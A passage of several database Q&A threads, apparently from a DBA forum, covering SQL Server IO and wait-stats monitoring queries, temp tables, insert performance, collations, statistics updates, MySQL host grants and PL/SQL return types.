    [C] [decimal](5, 3) NULL)

INSERT INTO
    #TempTbl
SELECT
    [Date]        = CAST(LO.Dt as Date)
  , [B]           = DMC.[B]
  , [C]           = DMC.[C]
FROM
                 dbo.fnTblFunc1(@DateStart, @DateEnd) AS DMC
    INNER JOIN   dbo.fnTblFunc2(@DateStart, @DateEnd) AS LO ON DMC.Date = LO.Dt
OPTION (FORCE ORDER  )

DROP TABLE #TempTbl

Quote below from this question on the differences between table variables and temp tables.  Look at the section on parallelism.

  Queries that insert into (or otherwise modify) @table_variables cannot
  have a parallel plan, #temp_tables are not restricted in this manner.


Get IO stats request sql like activity monitor Is it possible to get the same value as in the activity monitor (SSMS) for the "Database IO" as a result of a SQL request?

  click to enlarge

You can use a query like this to calculate read/write rates and latency (though due to my laziness these figures are not in units that match Activity Monitor).

SELECT d.name, f.name, f.type_desc, f.physical_name,
 [read b/ms] = num_of_bytes_read * 1.0/sample_ms,
 [avg read latency] =
   (1.0*s.io_stall_read_ms / (COALESCE(NULLIF(s.num_of_reads,0),1))),
 [write b/ms] = num_of_bytes_written * 1.0/sample_ms,
 [avg write latency] =
   (1.0*s.io_stall_write_ms / (COALESCE(NULLIF(s.num_of_writes,0),1)))
FROM sys.master_files AS f
INNER JOIN sys.databases AS d
ON f.database_id = d.database_id
INNER JOIN sys.dm_io_virtual_file_stats(default, default) AS s
ON d.database_id = s.database_id
AND f.[file_id] = s.[file_id];

See these resources for more info:

What Virtual Filestats Do, and Do Not, Tell You About I/O Latency
How to examine IO subsystem latencies from within SQL Server
Capturing IO latencies for a period of time
The Accidental DBA (Day 26 of 30) : Monitoring Disk I/O
sys.dm_io_virtual_file_stats (MSDN)

If you want to simulate the graph and capture spikes in real time, well, you'll need to build scaffolding to collect snapshots of this (or some other) query, and compare the deltas to generate metrics. This is not something that is trivial to write for you on a Q & A site - people pay big money for high-quality monitoring tools that make this kind of thing easy. :-)

If you want to get an idea of how Activity Monitor does this kind of thing, you can get at the definition for the procedure #am_generate_waitstats with a little effort. I did the heavy lifting for you and here it is in all its unformatted glory - this is how it calculates various wait statistics:

CREATE PROC #am_generate_waitstats AS
BEGIN

-- Setup query starts a tran -- make sure it wasn't orphaned
WHILE (@@TRANCOUNT > 0) COMMIT TRAN;

-- Get the most recent snapshot ID in the history table ('previous snapshot')
DECLARE @previous_snapshot_id bigint;
DECLARE @previous_collection_time datetime;
SELECT @previous_snapshot_id = ISNULL (MAX (snapshot_id), 0) FROM #am_wait_stats_snapshots;
SELECT TOP 1 @previous_collection_time = ISNULL (collection_time, GETUTCDATE()) FROM #am_wait_stats_snapshots
WHERE snapshot_id = @previous_snapshot_id;

-- The snapshot we're about to capture ('current snapshot')
DECLARE @current_snapshot_id bigint;
DECLARE @current_collection_time datetime;
SET @current_collection_time = GETUTCDATE();
SET @current_snapshot_id = @previous_snapshot_id + 1;

-- The snapshots table holds the two most recent snapshots. Delete the older of the two to
-- make room for a new snapshot.
DELETE FROM #am_wait_stats_snapshots WHERE snapshot_id < @previous_snapshot_id;
DELETE FROM #am_resource_mon_snap WHERE current_snapshot_id < @previous_snapshot_id;

DECLARE @interval_sec numeric (20, 4);
SET @interval_sec =
    CASE
        -- Avoid int overflow that DATEDIFF (ms, ...) can cause in the event of a huge gap between intervals
        WHEN DATEDIFF (second, @previous_collection_time, @current_collection_time) >= 10
            THEN DATEDIFF (second, @previous_collection_time, @current_collection_time)
        -- Avoid divide-by-zero
        WHEN DATEDIFF (millisecond, @previous_collection_time, @current_collection_time) = 0.0
            THEN 0.0001
        ELSE DATEDIFF (millisecond, @previous_collection_time, @current_collection_time) / 1000.0
    END;

-- This query captures in-progress and completed (cumulative) wait time for each wait type
INSERT INTO #am_wait_stats_snapshots
SELECT
    @previous_snapshot_id + 1 AS snapshot_id,
    @current_collection_time AS collection_time,
    wait_type,
    SUM (waiting_tasks_count) AS waiting_tasks_count,
    SUM (signal_wait_time_ms) AS signal_wait_time_ms,
    SUM (wait_time_ms) AS wait_time_ms,
    SUM (raw_wait_time_ms) AS raw_wait_time_ms
FROM
(
    -- global server wait stats (completed waits only)
    SELECT
        wait_type,
        waiting_tasks_count,
        (wait_time_ms - signal_wait_time_ms) AS wait_time_ms,
        signal_wait_time_ms,
        wait_time_ms AS raw_wait_time_ms
    FROM sys.dm_os_wait_stats
    WHERE waiting_tasks_count > 0 OR wait_time_ms > 0 OR signal_wait_time_ms > 0
    UNION ALL
    -- threads in an in-progress wait (not yet completed waits)
    SELECT
        wait_type,
        1 AS waiting_tasks_count,
        wait_duration_ms AS wait_time_ms,
        0 AS signal_wait_time_ms,
        wait_duration_ms AS raw_wait_time_ms
    FROM sys.dm_os_waiting_tasks
    -- Very brief waits quickly will roll into dm_os_wait_stats; we only need to
    -- query dm_os_waiting_tasks to handle longer-lived waits.
    WHERE wait_duration_ms > 1000
) AS merged_wait_stats
GROUP BY merged_wait_stats.wait_type;

/*
Now join the current snapshot to the prior snapshot to calculate the wait time for
the just-completed time interval.

The previous_snapshot derived table represents cumulative wait stats at the beginning
of the just-completed time interval, while current_snapshot is wait stats at the end of
the interval. By subtracting the start cumulative wait time from the end cumulative
wait time, we can calculate the wait time that accumulated during this time interval.

The query uses a CTE to expose the interval-specific stats that are the result of the
comparison of the current snapshot to the previous snapshot.

Notes on the calculation of the [weighted_average_wait_time_per_sec] column:
-------------------------
We use a weighted average formula to provide the user with a more stable indicator of
the recent waittime. This is primarily useful if the user has selected a rapid refresh
rate.  With a sample interval of 1 second, for example, it could be hard to assess the
overall bottleneck on the system if short-term fluxuations in waittime distribution
were creating constant changes in the 'worst' wait category for the just-completed 1
second sample interval.

The goal of this is to make the average of (approximately) the past 30-60 seconds
dominate the value.  The longer the sample interval, the greater the weight that is
given to the just-completed sample interval. With a 1-second sample interval, the
just-completed sample is given a weight of about 10%.  With a 5 second sample
interval, it is given a weight of about 50%.  Sample intervals longer than 5 seconds
quickly approach 100% (a 60 second interval is weighted as ~80%, and a 10 minute
interval at ~95%).

The formula for the weight W of the current interval is below (T is the duration of
the just-completed time interval, in seconds):

    W  =  (1 - (T / (T^1.4 + 0.1)))

You can see the curve of the weight function by running this TSQL:
    DECLARE @interval_sec numeric(20, 2)
    DECLARE @current_interval_weight numeric (20, 2)
    SET @interval_sec = 1
    PRINT CONVERT (char(20), 'Interval (sec)') + 'Interval Weight'
    PRINT CONVERT (char(20), '==============') + '==============='
    WHILE (@interval_sec <= 6000)
    BEGIN
        SET @current_interval_weight = 1 - (@interval_sec / (POWER (@interval_sec, 1.4) + 0.1))
        PRINT CONVERT (char(20), @interval_sec) + CONVERT (char(20), @current_interval_weight)
            + '  ' + REPLICATE ('-', @current_interval_weight * 100)
        SET @interval_sec = CASE WHEN @interval_sec = 1 THEN 5 ELSE @interval_sec + 5 END
    END

The wait time for the just-completed interval is combined with the previous weighted
average in the following way, where P is the previous sample's weighted average wait
time, C is the current interval's wait time, and W is @current_interval_weight (the %
weight given to the current waittime, using the prior formula):

    ((1-W) * P) + (W * C)

*/

DECLARE @current_interval_weight numeric (10,6);
-- SET @current_interval_weight = @interval_sec / 60;
SET @current_interval_weight = 1 - (@interval_sec / (POWER (@interval_sec, 1.4) + 0.1))
IF @current_interval_weight > 1 SET @current_interval_weight = 1;

WITH interval_waitstats AS
(
    -- First get resource wait stats for this interval.
    SELECT
        #am_wait_types.category_name,
        current_snapshot.wait_type,
        -- All wait stats will be reset to zero by a service cycle, which will cause
        -- (snapshot2waittime-snapshot1waittime) calculations to produce an incorrect
        -- negative wait time for the interval.  Detect this and avoid calculating
        -- negative wait time/wait count/signal time deltas.
        CASE
            WHEN (current_snapshot.waiting_tasks_count - previous_snapshot.waiting_tasks_count) < 0 THEN current_snapshot.waiting_tasks_count
            ELSE (current_snapshot.waiting_tasks_count - previous_snapshot.waiting_tasks_count)
        END AS interval_waiting_tasks_count,
        -- Use [raw_wait_time_ms] for this check because [wait_time_ms] is a calculated
        -- value and tiny differences in sample time for signal wait time vs. wait time
        -- can cause its calculated value to be slightly negative even when stats weren't
        -- reset.
        CASE
            WHEN (current_snapshot.raw_wait_time_ms - previous_snapshot.raw_wait_time_ms) < 0 THEN current_snapshot.wait_time_ms
            ELSE (current_snapshot.wait_time_ms - previous_snapshot.wait_time_ms)
        END AS interval_resource_wait_time,
        CASE
            WHEN (current_snapshot.signal_wait_time_ms - previous_snapshot.signal_wait_time_ms) < 0 THEN current_snapshot.signal_wait_time_ms
            ELSE (current_snapshot.signal_wait_time_ms - previous_snapshot.signal_wait_time_ms)
        END AS interval_resource_signal_time,
        current_snapshot.wait_time_ms AS resource_wait_time_cumulative
    FROM (
            SELECT * FROM #am_wait_stats_snapshots WHERE snapshot_id = @previous_snapshot_id
        ) AS previous_snapshot
    INNER JOIN (
            SELECT * FROM #am_wait_stats_snapshots WHERE snapshot_id = @current_snapshot_id
        ) AS current_snapshot
        ON previous_snapshot.wait_type = current_snapshot.wait_type
    INNER JOIN #am_wait_types ON #am_wait_types.wait_type = current_snapshot.wait_type
    WHERE #am_wait_types.ignore != 1 AND #am_wait_types.category_name != 'Idle'
)
INSERT INTO #am_resource_mon_snap
SELECT
    @previous_snapshot_id AS previous_snapshot_id,
    @current_snapshot_id AS current_snapshot_id,
    @previous_collection_time AS previous_collection_time,
    @current_collection_time AS current_collection_time,
    @interval_sec AS interval_sec,
    interval_waitstats.category_name,
    interval_waitstats.wait_type,
    interval_waitstats.interval_waiting_tasks_count,
    -- Tiny differences in sample time for signal wait time vs. wait time can cause our
    -- calculated wait time to be slightly negative
    CASE
        WHEN interval_waitstats.interval_resource_wait_time < 0 THEN 0
        ELSE interval_waitstats.interval_resource_wait_time
    END AS interval_resource_wait_time,
    interval_waitstats.interval_resource_signal_time,
    CONVERT (bigint, interval_waitstats.interval_resource_wait_time / @interval_sec) AS interval_wait_time_per_sec,
    CONVERT (numeric (10, 2), interval_waitstats.interval_resource_wait_time / @interval_sec / 1000) AS interval_avg_waiter_count,
    interval_waitstats.resource_wait_time_cumulative,
    CASE
        WHEN previous_interval_waitstats.weighted_average_wait_time_per_sec IS NULL
        THEN CONVERT (bigint, interval_waitstats.interval_resource_wait_time / @interval_sec)
        ELSE
            -- weighted average formula -- see comment above for explanation
            ((1-@current_interval_weight) * previous_interval_waitstats.weighted_average_wait_time_per_sec)
                + (@current_interval_weight * CONVERT (bigint, interval_waitstats.interval_resource_wait_time / @interval_sec))
    END AS weighted_average_wait_time_per_sec
FROM interval_waitstats
LEFT OUTER JOIN (
    SELECT * FROM #am_resource_mon_snap
    WHERE current_snapshot_id = @previous_snapshot_id
) AS previous_interval_waitstats ON interval_waitstats.wait_type = previous_interval_waitstats.wait_type;

-- We can delete the data for the previous snapshot now
DELETE FROM #am_resource_mon_snap WHERE current_snapshot_id < @current_snapshot_id;
END

For file I/O specifically, it is not so cut and tried. With a trace you can uncover code snippets like these, but I have yet to find what ties them together, or even where the #temp tables are defined - I suspect some of the math and other work is done in the application and/or in other queries I'm not capturing in my trace. Needless to say, this is not just a simple SQL query.

Batch #1:

SET NOCOUNT ON;

DECLARE @previous_collection_time datetime;
DECLARE @previous_total_io_mb numeric (28, 1);
DECLARE @current_collection_time datetime;
DECLARE @current_total_io_mb numeric (28, 1);
DECLARE @mb_per_sec numeric (20, 1);

-- Get the previous snapshot's total I/O
SELECT TOP 1 @previous_collection_time = collection_time, @previous_total_io_mb = total_io_bytes
FROM #am_dbfileio
ORDER BY collection_time DESC;

-- Get the current total I/O.
SET @current_collection_time = GETDATE();
SELECT @current_total_io_mb = SUM(num_of_bytes_read + num_of_bytes_written) / 1024.0 / 1024.0
FROM sys.dm_io_virtual_file_stats(default, default);

-- Calc the total I/O rate (MB/sec) for the just-completed time interval.
-- Round values larger than 2MB/sec to the nearest MB.
SET @mb_per_sec = (@current_total_io_mb - @previous_total_io_mb) / DATEDIFF (millisecond, @previous_collection_time, @current_collection_time) * 1000;
IF @mb_per_sec > 2
BEGIN
  SET @mb_per_sec = ROUND (@mb_per_sec, 0);
END;

-- Save off current total I/O
INSERT INTO #am_dbfileio (collection_time, total_io_bytes)
VALUES (@current_collection_time, @current_total_io_mb);

-- Return the I/O rate for the just-completed time interval.
SELECT ISNULL (@mb_per_sec, 0) AS mb_per_sec;

-- Get rid of all but the most recent snapshot's data
DELETE FROM #am_dbfileio WHERE collection_time < @current_collection_time;

DECLARE @current_collection_time datetime;
SET @current_collection_time = GETDATE();

-- Grab a snapshot
INSERT INTO #am_dbfilestats
SELECT
    @current_collection_time AS collection_time,
    d.name AS [Database],
    f.physical_name AS [File],
    (fs.num_of_bytes_read / 1024.0 / 1024.0) [Total MB Read],
    (fs.num_of_bytes_written / 1024.0 / 1024.0) AS [Total MB Written],
    (fs.num_of_reads + fs.num_of_writes) AS [Total I/O Count],
    fs.io_stall AS [Total I/O Wait Time (ms)],
    fs.size_on_disk_bytes / 1024 / 1024 AS [Size (MB)]
FROM sys.dm_io_virtual_file_stats(default, default) AS fs
INNER JOIN sys.master_files f ON fs.database_id = f.database_id AND fs.file_id = f.file_id
INNER JOIN sys.databases d ON d.database_id = fs.database_id;

-- Get the timestamp of the previous collection time
DECLARE @previous_collection_time datetime;
SELECT TOP 1 @previous_collection_time = collection_time
FROM #am_dbfilestats
WHERE collection_time < @current_collection_time
ORDER BY collection_time DESC;

DECLARE @interval_ms int;
SET @interval_ms = DATEDIFF (millisecond, @previous_collection_time, @current_collection_time);

-- Return the diff of this snapshot and last
SELECT
    cur.[Database],
    cur.[File] AS [File Name],
    CONVERT (numeric(28,1), (cur.[Total MB Read] - prev.[Total MB Read]) * 1000 / @interval_ms) AS [MB/sec Read],
    CONVERT (numeric(28,1), (cur.[Total MB Written] - prev.[Total MB Written]) * 1000 / @interval_ms) AS [MB/sec Written],
    -- protect from div-by-zero
    CASE
        WHEN (cur.[Total I/O Count] - prev.[Total I/O Count]) = 0 THEN 0
        ELSE
            (cur.[Total I/O Wait Time (ms)] - prev.[Total I/O Wait Time (ms)])
                / (cur.[Total I/O Count] - prev.[Total I/O Count])
    END AS [Response Time (ms)]
FROM #am_dbfilestats AS cur
INNER JOIN #am_dbfilestats AS prev ON prev.[Database] = cur.[Database] AND prev.[File] = cur.[File]
WHERE cur.collection_time = @current_collection_time
    AND prev.collection_time = @previous_collection_time;

-- Delete the older snapshot
DELETE FROM #am_dbfilestats
WHERE collection_time != @current_collection_time;

Batch #2:

DECLARE @current_collection_time datetime;
SET @current_collection_time = GETDATE();

-- Grab a snapshot
INSERT INTO #am_dbfilestats
SELECT
    @current_collection_time AS collection_time,
    d.name AS [Database],
    f.physical_name AS [File],
    (fs.num_of_bytes_read / 1024.0 / 1024.0) [Total MB Read],
    (fs.num_of_bytes_written / 1024.0 / 1024.0) AS [Total MB Written],
    (fs.num_of_reads + fs.num_of_writes) AS [Total I/O Count],
    fs.io_stall AS [Total I/O Wait Time (ms)],
    fs.size_on_disk_bytes / 1024 / 1024 AS [Size (MB)]
FROM sys.dm_io_virtual_file_stats(default, default) AS fs
INNER JOIN sys.master_files f ON fs.database_id = f.database_id AND fs.file_id = f.file_id
INNER JOIN sys.databases d ON d.database_id = fs.database_id;

-- Get the timestamp of the previous collection time
DECLARE @previous_collection_time datetime;
SELECT TOP 1 @previous_collection_time = collection_time
FROM #am_dbfilestats
WHERE collection_time < @current_collection_time
ORDER BY collection_time DESC;

DECLARE @interval_ms int;
SET @interval_ms = DATEDIFF (millisecond, @previous_collection_time, @current_collection_time);

-- Return the diff of this snapshot and last
SELECT
    cur.[Database],
    cur.[File] AS [File Name],
    CONVERT (numeric(28,1), (cur.[Total MB Read] - prev.[Total MB Read]) * 1000 / @interval_ms) AS [MB/sec Read],
    CONVERT (numeric(28,1), (cur.[Total MB Written] - prev.[Total MB Written]) * 1000 / @interval_ms) AS [MB/sec Written],
    -- protect from div-by-zero
    CASE
        WHEN (cur.[Total I/O Count] - prev.[Total I/O Count]) = 0 THEN 0
        ELSE
            (cur.[Total I/O Wait Time (ms)] - prev.[Total I/O Wait Time (ms)])
                / (cur.[Total I/O Count] - prev.[Total I/O Count])
    END AS [Response Time (ms)]
FROM #am_dbfilestats AS cur
INNER JOIN #am_dbfilestats AS prev ON prev.[Database] = cur.[Database] AND prev.[File] = cur.[File]
WHERE cur.collection_time = @current_collection_time
    AND prev.collection_time = @previous_collection_time;

-- Delete the older snapshot
DELETE FROM #am_dbfilestats
WHERE collection_time != @current_collection_time;

So, if you'd like to work from there, that's probably a good starting point. Personally, since I know there are already plenty of tools that do what I'm trying to do, my time is better spent elsewhere, and I prefer to not re-invent the wheel. YMMV.


How to convert query results into groups of common results I have a query that returns results like this:

     MyValue        MyGroup
_______________|_______________
       56      |      I
_______________|_______________
       12      |      I
_______________|_______________
       56      |      II
_______________|_______________
       12      |      II
_______________|_______________
       56      |      III
_______________|_______________
       56      |      IV
_______________|_______________
       56      |      V
_______________|_______________
       12      |      V
_______________|_______________

I need to convert that into something like this:

      ColA           ColB             ColC            ColD           Count
_______________|_______________|_______________|_______________|_______________
       12      |      56              null            null             3
_______________|_______________|_______________|_______________|_______________
       56      |      null            null            null             2
_______________|_______________|_______________|_______________|_______________

I know I could setup an iterator and go over all the rows of my table and construct this result.

But I think there is another, "set based" way.  Maybe a "Cross Apply" or "Pivot".

But it does not matter how many times I read the docs or look at examples for those, I can't seem to wrap my head around them enough to write my own.

Does anyone have a suggestion?

NOTE: In case it matters, assume that my query to get the first results looks like this:

select MyValue, MyGroup
from SomeTable

(It is actually a complex set of CTE's but I can just add another layer if need be.)

Seems a simpler approach:

SELECT GroupValue = Val, [Count] = COUNT(DISTINCT MyGroup) FROM
(
  SELECT MyGroup, Val = STUFF((SELECT ', ' + RTRIM(MyValue)
   FROM dbo.MyTable WHERE MyGroup = t.MyGroup FOR XML PATH('')), 1, 2, '')
  FROM dbo.MyTable AS t
) AS x GROUP BY Val;


Insert performance progressively deteriorating for indexless table I have a miniature SQL Server database being filled in by a mathematical model. The database contains two tables created thus:-

CREATE TABLE [dbo].[small_table](
[id_col_1] [tinyint] NOT NULL,
[id_col_2] [tinyint] NOT NULL,
[id_col_3] [int] NOT NULL,
[id_col_4] [int] NOT NULL,
[data_col_1] [real] NULL,
[date_time_added] [datetime] NOT NULL
) ON [PRIMARY]

ALTER TABLE [dbo].[small_table] ADD  CONSTRAINT [DF_st_date_time_added]  DEFAULT (getdate()) FOR [date_time_added]

and

CREATE TABLE [dbo].[big_table](
[id_col_1] [tinyint] NOT NULL,
[id_col_2] [tinyint] NOT NULL,
[id_col_3] [int] NOT NULL,
[id_col_4] [int] NOT NULL,
[id_col_5] [int] NOT NULL,
[id_col_6] [tinyint] NOT NULL,
[id_col_7] [int] NOT NULL,
[data_col_1] [real] NULL,
[data_col_2] [real] NULL,
     ...snip...
[data_col_14] [int] NULL
) ON [PRIMARY]
GO

The model runs writing single rows to these tables whenever it thinks proper. But as the run progresses, writing into these tables takes progressively longer. Does anyone have any idea why this might be or what I should do to find out?

If I start a new run with a different value of id_col_2, the initial inserts proceed at a decent rate and the run then slows down again.

I'm using VB.Net for the application running on Windows XP.

Microsoft SQL Server Management Studio  10.50.2500.0
Microsoft Data Access Components (MDAC) 3.85.1132
Microsoft .NET Framework                2.0.50727.3643
Operating System                        5.1.2600

If I use MySQL database instead (replacing the connection and INSERT statements), the inserts proceed at a regular rate.

(In the real problem the tables have indexes but I removed them one at a time in order to find out if they were causing the problem; there are now none left and it is still occurring).

Edit

The original code used a programmatically-constructed insert statement and the
ADODB.Connection.Execute method to insert the row. Since then I've tried using SQLConnection and SQLCommand objects to insert the row. This has improved performance slightly, but the progressive deterioration is still occurring.

My test database has an original file size of 130MB and an autogrowth of 10%. The live system has an original filesize of 10592MB and an autogrowth of 1MB. The problem is evident on both systems.

Edit

Recoded these inserts to use LINQ; still no better.

Based on your last comment, it's still unclear what the actual problem is, but I'm going to answer to spell out my recommendations a bit, as I think they could help others in the future.

It's possible that if you try to scale up the existing "working" solution, you'll run into the same problem again.

To improve performance of a series of single-row inserts over a period of time, I recommend switching to a batch-based INSERT strategy by buffering rows on the client. The buffer would be flushed periodically, based on either row count, elapsed time since the last flush, or both.

The recommended way to do inserts in batch for SQL Server is to use the System.Data.SqlClient.SqlBulkCopy class which uses BULK INSERT under the hood.

If you need to stay database-agnostic (or minimize changes to the existing code), a dynamic SQL strategy can be adapted to construct a larger batch of singleton INSERT statements, instead of executing one statement per batch.

This type of strategy is more efficient as it minimizes network roundtrip overhead, allowing the application to scale higher. Note that for either strategy, you'll need to tune the number of rows in a batch to maximize throughput.

It's possible either data or log file growth is still an issue, but I recommend using the above strategy regardless, as the file growth issues should be solved independently of how the application operates.

Ensure there is a suitable amount of free space in both the log file and data file(s) before starting the process.
Set the auto-growth settings to more aggressive values than the defaults (usually a reasonably large, fixed size is appropriate).
Enable instant data file initialization to minimize the impact of data file auto-growth. On my blog, I have a post/video of what this setting does, and how to enable it. Note: this is an instance-wide setting, not a database setting.


Why is mixing column collations in a single database considered bad? There are two reasons that prompts me to ask this question:

tSQLt
The T-SQL testing framework tSQLt considers it an issue of "High Severity" when there exists columns with a non-default collation. The author of the test states the following:

  I am NOT suggesting that every string column should have a collation that matches the default collation for the database. Instead, I am suggesting that when it is different, there should be a good reason for it.

Yet, the severity of the failed test is, as mentioned, considered high.

Octopus Deploy
While configuring the Octopus Deploy Server, the setup fails with a FATAL error during the initialization of the OctopusServer-instance. The article related to the error-message does not explain why this is a requirement, but simply states that it will be a requirement for future deployments, from and including Octopus version 3.8.

As a side-note, RedGate's CI-tool package, the DLM Automation Suite, supports deployments with varying collations without complaints.

The recommendation of keeping all column collations to the database default seems more like guidelines or best practices to me. Why is it considered such a serious error by some?

The recommendation of keeping all column collations to the database default seems more like guidelines or best practices to me.

You are entirely correct here.

  Why is it considered such a serious error by some?

For the same reason that you will often hear / read that "you should never use:"

CURSORs
GOTO statements
SQLCLR
WITH (NOLOCK)
etc, etc, etc

Some features / options / technologies are more complicated than others and generally require more knowledge by the user because the chances of getting into trouble when using it are much greater than the chances of not having any problems. So, it is easier to have generalized rules against such things for the general population. In fact, when writing up "Coding Standards" at work, I will always have a rule to never use CURSORs, yet I use them myself because I know both "when" to use them and "how" to use them effectively. But folks who only occasionally write queries shouldn't be expected to know that. This is also similar to "don't edit the Registry unless you absolutely know what you are doing", or rules that we make as parents for our (very young) children where we need to tell them not to do something simply because they are not capable of traversing the complexities of when it is ok to do a particular thing or how to go about doing it.

In the case of Collations, this is a very complex and confusing topic, and you can run into both hard-errors (these are an issue but less of an issue since they are obvious and hence easy enough to fix) and into "odd" behavior where it is hard to explain why things are acting the way that they are (why some items are filtered, or not filtered, outside of expectations, OR why sorting is acting outside of expectations). And sadly, there seems to be a rather large amount of misinformation floating around which furthers the mass confusion. I am actually working on a project to greatly increase the general knowledge of Collations and encodings, etc and hopefully counteract the misinformation and myths, but not yet ready to release it (when done I will update this with a link to it).

For Collation, you need to use what makes the most sense for the business case. The notion of not mixing Collations in a table or database is a default approach, but if you look at the Collations used for the various columns of the system catalog views, you will notice a variety of Collations being used. So I agree with the main quote in the question that IF the Collations are going to be different, it should be intentional, but there is nothing inherently wrong with it.

Regarding this from the question (emphasis added):

  While configuring the Octopus Deploy Server, the setup fails with a FATAL error during the initialization of the OctopusServer-instance. The article related to the error-message does not explain why this is a requirement

I checked the linked documentation page and it does indeed explain why it is a requirement. I have copied the pertinent info from that documentation below:

  You must ensure you also change the collation of all objects in the Octopus Database, otherwise errors can occur when modifying the database during Octopus version upgrades.  New objects created will use the updated collation, and when attempting to (for example) perform SQL joins between these and existing objects using the original collation, collation mis-match errors may occur.

They are saying that their code, in the Octopus database, has JOINs between string columns and could likely have new code introduced in a future upgrade that has additional JOINs on new string columns. New columns, either via CREATE TABLE or ALTER TABLE ... ADD, will be assigned the default Collation of the database if the COLLATE keyword was not specified for the new string column(s). And JOINs between string columns that do not have the same Collation will generate a Collation mismatch error. They also seem to be allowing the user to choose their own Collation (possibly to accommodate different locales) since they say at the top that the only requirement is that the Collation be case-insensitive. And since the Collation of the database that their code lives in isn't guaranteed to always be the same, they can't use the COLLATE keyword to force the same Collation across all new string columns (well, they technically can, but that requires Dynamic SQL so not easy to deal with when generating update scripts). If they were able to use the COLLATE keyword, then they could get away with having the Database's default Collation be different than the string columns. That would avoid the hard "Collation mismatch" errors, but would still leave open the possibility of comparison operations involving one of those string columns and a string literal or variable resulting in "odd" behavior as it would use the column's Collation and not the Database's Collation. Of course, that could very well be expected behavior. But since this is a 3rd party app, the behavior should be what they intended rather than a 50 / 50 chance between a) what the user wanted (or didn't object to) and b) what the user considers a bug (and then wastes the vendor's support time on a wild goose chase and/or blogs about how their software is buggy).


how to trigger a statistics update I have a certain table in my OLTP database, which is bulk-updated by several users.
There is no way to know when they will update the table (somewhere between 5 times a day and once in a week).

The problem is, that the update does not cause the statistics to be automatically updated,
but it is a big enough update to cause SQL Server to use a poor query plan.
(the table has ~500k rows and the operation inserts/updates between 5k and 20k rows)

My question is how should i trigger a statistics update?
My thoughts:

A job which will run every 30 minutes and check for changes using rowmodctr. The job will then update statistics if necessary
A DML trigger which will check for changes and start a job when necessary. The job will update statistics

Of course the solution has to be server side, application changes are not welcome :)

One more thing is that I might need the same or similiar for more than just this one table so the solution has to be generic (use a modified-sp_updatestats with parameters for... everything?).

If you are running SQL Server 2008 R2 SP1 or newer you can turn on the trace flag which changes when auto update stats runs.  The traceflag is 2371 and it changes the stats update trigger from 20% + 500 rows to a sliding scale.

I talk about the finer points of the traceflag here.


Queue like behavior with read once I’m looking for a data store to back an API, and since I know of no data store that handles it’s data they way I’d like, I’m thinking good ol’ PostgreSQL might be suitable for now.
Only problem is that I have no idea how to implement it (RDMS never really was my strong side).
The are the constraints/limits I’m working with:

Data is written to the data store in identically sized chunks (say 4kb)
Data must be persisted to disk
Each chunk of data must be read at most once by consumers (read, then delete)
Data need not be read in the same order it was written
I’ve got complete control of the process writing the data and the process reading the data
Scaleability - Doesn’t need to scale to google-level, but I’d like for it to be somewhat scaleable.

My biggest concern is how to structure a a table to allow efficient read-once-then-delete. I was thinking of using row locks, but haven’t had much luck looking at the documentation to figure out if it’s feasible.
I was also planning on handling the reading of data in the database instead of in the application using stored procedures. I think it would work, but I can’t wrap my head around the whole locks thing.
So, is this feasible to do using Postgres, and if so, go any pointers as to how you’d achieve it?

There are some issues worth clarifying on your end. For example, is the 4kb a single 'blob' or a set of entities/rows, and if it's a set of rows, why exactly do you need to batch it up into 4kb chunks. Otherwise it's better to let Postgres handle the 'chunking' for you. On a different note, the best place to start with locks is the select ... for update skip locked query and from there you can build a work-queue/ pub-sub atop Postgres


Connect a linked server to MS Reporting Service? I've got a MYSQL server setup as a linked server in MS SQL server 2008. Can someone tell me if it is possible to generate reports from this server?

How do I connect it to Reporting Services?

I don't see any problems generating reports the usual way, as long as you use the 4 part name:
'select top 10 col1, col2 from server.database.schema.table' in the code used to get the data for your reports.


Why can't I use a cname/alias in the permissions table? At work we have a usual setup with web server(apache) and database server(mysql). From time to time there is the need to migrate the web stuff to a new server. Lets say their a records are dull and shiny with cname www for dull, which we want to reassign to shiny, when shiny is set and done.

We - trying to be good admins - want to restrict database access as much as possible and only gave access to 'dbuser'@'dull'. But what we really want is to give access to 'dbuser'@'www', so that after reassigning the cname we don't need to alter the permissions.

I read that mysql does a reverse looup of the IP and then a lookup of the a record and will fail if anything in this process is fishy.

Why is there such a strict policy on this? Is there a reason why I can't use a cname in the permissions?

Bonus Question: What can I do to accomplish easy migration?

Edit: Split of bonus question

Plan A:  If dull and shiny don't change, leave both in effect?...

GRANT ... TO dbuser@dull ...;
GRANT ... TO dbuser@shiny ...;

But, beware, this could leave the "production" system accessible to "QA".  (Assuming that is really what you are doing.)

Plan B:  A simple script (after transferring):

UPDATE mysql.user SET host = 'shiny' WHERE host = 'dull';

But, again, beware -- If the script fails to be run successfully, QA could be hitting production.

Plan C:  Well, there is likely to be some other trick.


what is '#' in create table statement? I recently saw a statement like:

CREATE TABLE #tbl_AR_Data

I wanted to know what is the purpose of the symbol # (NUMBER SIGN, hash, pound sign) in this statement?

'#' denotes a temporary table.

This tells SQL Server that this table is a local temporary table. This table is only visible to this session of SQL Server. When I close this session, the table will be automatically dropped.

You can treat this table just like any other table with a few exceptions. The only real major one is that you can't have foreign key constraints on a temporary table.

Temporary tables are available in MySQL version 3.23 onwards. If you use an older version of MySQL than 3.23, you can't use temporary tables, but you can use heap tables.

Read about usage and syntax here.


function return data type? create or replace function Total_sal
 return varchar2
  is
 Total number;
begin
select sum(salary)into total from employees;
return total;
 end;
  /

 BEGIN
 DBMS_OUTPUT.PUT_LINE(TOTAL_SAL);
 END;
 /

Please correct if my understanding of this
?first we mention a return varchar2 data type
and then we pass salary into total (which is number datatype) as salary is number datatype  and again return total which is varchar2
which is after the select statement ?
do we need to bother about the datatype of the return total statement. ?

.

Yes, you need to bother about datatype, always know your datatypes and use the proper ones. The database can implicitly convert compatible datatypes, so it is not always mandatory to specify and convert to the correct datatype, but it is a really bad practice to rely on implicit conversion.

The below is a typical scenario I saw countless times:

select column1 from table1 where indexed_number_column = '12345';

Here you compare a number to a string. The database will convert this query to:

select column1 from table1 where indexed_number_column = to_number('12345');

or

select column1 from table1 where to_char(indexed_number_column) = '12345';

The second one can not use the existing index on the column indexed_number_column, so it will perform much slower. For the second one, you would need a function-based index on to_char(indexed_number_column).


Pass Parameters to trigger function to execute dynamic SQL I have this code which was solved by Erwin:
Execute dynamic INSERT ON CONFLICT DO UPDATE in plpgsql function

Now I want the trigger to call the trigger function insert_data_func with parameters (model_cd, processdate).

There are different models, that's why I'm trying to simplify things by using dynamic SQL.

Function:

CREATE OR REPLACE FUNCTION insert_data_func()
